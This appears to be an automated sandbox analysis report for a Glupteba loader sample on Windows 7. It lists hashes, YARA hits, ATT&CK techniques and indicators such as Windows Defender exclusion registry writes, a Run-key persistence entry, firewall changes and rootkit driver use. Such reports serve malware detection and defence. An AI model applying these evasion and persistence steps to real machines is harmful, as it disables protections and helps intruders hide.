glupteba | 886058a7a36e3085dcd318d75b24c6d0576f57ab5a3045a231986475659802a9

Analysis

max time kernel
149s
max time network
119s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
10-10-2024 23:40

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General

Target

3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Size

3.6MB
MD5

3250ddce2dbf5a36ae50744e6632f945
SHA1

2e4e648fb1a583fe3d26ded76d017507e6cb1576
SHA256

886058a7a36e3085dcd318d75b24c6d0576f57ab5a3045a231986475659802a9
SHA512

ba1a82ced81d6ca0ee5b8d875ba6bd4d3933466acfd0463c53201cd749455940dcbc4db55adfbbf3d3945628af6511dedf8f1062b57078bc01d7c786ddef2060
SSDEEP

98304:Oc5F4rEVf9i9fJ5TG/dCfAeO2oopuZPpSfzDYz59r:Ow4ozCf7KdCfAdZPpiU59r

Score

10^/10

glupteba discovery dropper evasion loader persistence privilege_escalation rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 39 IoCs

resource	yara_rule
behavioral1/memory/2880-14-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2880-13-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2880-12-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2880-11-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2880-10-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2880-9-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2880-15-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2880-17-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/484-29-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/484-30-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/484-28-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/484-27-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/484-31-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/484-39-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-57-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-56-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-55-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-58-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-59-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-54-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-53-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-60-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-61-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/1576-65-0x0000000140000000-0x00000001405E8000-memory.dmp	family_glupteba
behavioral1/memory/2540-134-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-135-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-256-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-372-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-427-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-536-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-538-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-539-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-540-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-541-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-542-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-543-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-544-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-545-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/2540-546-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ShyForest = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\030f8bbd0cbf.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\030f8bbd0cbf\030f8bbd0cbf = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2012	netsh.exe

Executes dropped EXE 4 IoCs

pid	Process
2364	csrss.exe
2540	csrss.exe
1576	patch.exe
1196	Process not Found

Loads dropped DLL 11 IoCs

pid	Process
484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
484	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
848	Process not Found
1576	patch.exe
1576	patch.exe
1576	patch.exe
1576	patch.exe
1576	patch.exe
1576	patch.exe
1576	patch.exe
1576	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\030f8bbd0cbf\030f8bbd0cbf = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ShyForest = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\030f8bbd0cbf.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe = "0"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShyForest = "\"C:\\Windows\\rss\\csrss.exe\""	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
768	bcdedit.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2828 set thread context of 2880	2828	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	30
PID 2728 set thread context of 484	2728	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe	36
PID 2364 set thread context of 2540	2364	csrss.exe	41

UPX packed file 40 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2880-8-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-14-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-13-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-12-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-11-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-10-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-9-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-4-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-15-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2880-17-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/484-29-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/484-30-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/484-28-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/484-27-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/484-31-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/484-39-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-57-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-56-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-55-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-58-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-59-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-54-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-53-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-60-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-61-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-134-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-135-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-256-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-372-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-427-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-536-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-538-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-539-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-540-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-541-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-542-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-543-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-544-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-545-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/2540-546-0x0000000000400000-0x0000000000B27000-memory.dmp	upx

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
File created	C:\Windows\rss\csrss.exe	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20241010234014.cab	makecab.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	3250ddce2dbf5a36ae50744e6632f945_JaffaCakes118.exe
